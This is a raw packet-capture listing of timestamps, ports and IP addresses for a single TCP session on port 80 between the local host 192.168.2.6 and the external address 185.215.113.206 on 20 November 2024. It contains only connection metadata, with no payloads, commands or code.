Nov 20, 2024 14:43:15.586896896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.586915970 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.586960077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.586987019 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.587833881 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.587958097 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.588012934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.589138985 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.589157104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.589205980 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.589226007 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.590086937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.590102911 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.590174913 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.591238976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.591258049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.591325998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.592264891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.592282057 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.592338085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.593323946 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.593381882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.593431950 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.593494892 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.594432116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.594506025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.594556093 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.594595909 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.595341921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.595417976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.595606089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.595650911 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.596419096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.596431971 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.596492052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.647659063 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.647742033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.647770882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.647819996 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.648015976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.648067951 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.648142099 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.648266077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.648878098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.648931980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.648940086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.648958921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.648971081 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.648974895 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.648991108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.649009943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.649440050 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.649487019 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.649554014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.649600983 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.650461912 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.650523901 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.650571108 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.650618076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.651537895 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.651613951 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.651670933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.651726007 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.652563095 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.652678967 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.704705000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.704725027 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.704780102 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.704799891 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.704812050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.704813957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.704850912 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.704868078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.705813885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.705882072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.706111908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.706162930 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.707065105 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.707129955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.707302094 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.707611084 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.708318949 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.708328962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.708400011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.709350109 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.709470987 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.709481955 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.709527016 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.711230993 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.711308002 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.711488008 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.711548090 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.712558031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.712622881 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.712722063 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.712771893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.713798046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.713814020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.713843107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.713855028 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.714787006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.714852095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.714929104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.714992046 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.715900898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.716063023 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.716069937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.716094971 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.716111898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.716142893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.716167927 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.716942072 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.717004061 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.717113972 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.717164040 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.718120098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.718177080 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.718291998 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.718343973 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.719202995 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.719218016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.719258070 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.720213890 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.720227003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.720272064 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.721350908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.721424103 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.721498966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.721560955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.722528934 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.722592115 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.722656012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.722702980 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.882492065 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.882561922 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.882622004 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.882739067 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.896900892 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.896917105 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.896964073 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.896986008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897017002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897031069 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897042990 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897054911 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897059917 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897067070 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897069931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897080898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897094011 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897099972 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897114992 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897131920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897131920 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897140026 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897141933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897146940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897150993 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897152901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897166967 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897178888 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897182941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897192955 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897205114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897207975 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897217035 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897227049 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897229910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897243977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897253990 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897255898 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897268057 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897279978 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897286892 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897293091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897293091 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897306919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897319078 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897330999 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897341013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897341013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897349119 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897353888 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897367001 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897370100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897383928 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897384882 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897397041 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897408962 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897409916 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897423983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897437096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897439957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897456884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897465944 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897469997 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897483110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897491932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897495031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897505999 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897509098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897521973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897533894 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897536993 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897546053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897558928 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897562981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897584915 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897586107 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897600889 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897604942 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897614002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897625923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897633076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897639036 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897650957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897656918 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897664070 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897675991 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897684097 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897689104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897699118 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897701025 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897715092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897727966 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897727966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897735119 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897741079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897753954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897764921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897773981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897778034 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897790909 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897797108 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897804976 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897815943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897819042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897831917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897834063 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897849083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897860050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897861958 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897875071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897886992 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.897892952 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897916079 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.897933960 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.913327932 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.913403988 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.913494110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.913538933 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.913902998 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.913953066 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.914037943 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.914160013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.915242910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.915298939 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.915394068 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.915436983 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.916132927 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.916173935 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.916306973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.916383028 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.917282104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.917296886 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.917331934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.918268919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.918322086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.918577909 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.918629885 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.919800043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.919852972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.919893980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.920015097 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.921302080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.921353102 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.921355009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.921392918 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.921895027 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.921955109 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.921992064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.922043085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.922693968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.922755957 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.922765017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.922801018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.923391104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.923441887 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.923486948 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.923691034 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.924401045 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.924472094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.924510002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.924592972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.925486088 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.925542116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.925611019 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.925729036 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.926595926 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.926671982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.926812887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.926934004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.929893017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.929907084 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.929919004 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.929986954 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.930058956 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.930123091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.930222034 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.930236101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.930305958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.930305958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.931123972 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.931446075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.931479931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.931494951 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.932413101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.932478905 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.932593107 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.932848930 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.933610916 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.933624029 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.933670998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.986001968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.986021042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.986093998 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.986094952 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.986177921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.986191988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.986217976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.986232042 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.987297058 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.987433910 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.987524986 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.987776041 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.988327980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.988396883 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.988441944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:15.988509893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:15.989417076 CET	80	49715	185.215.113.206	192.168.2.6
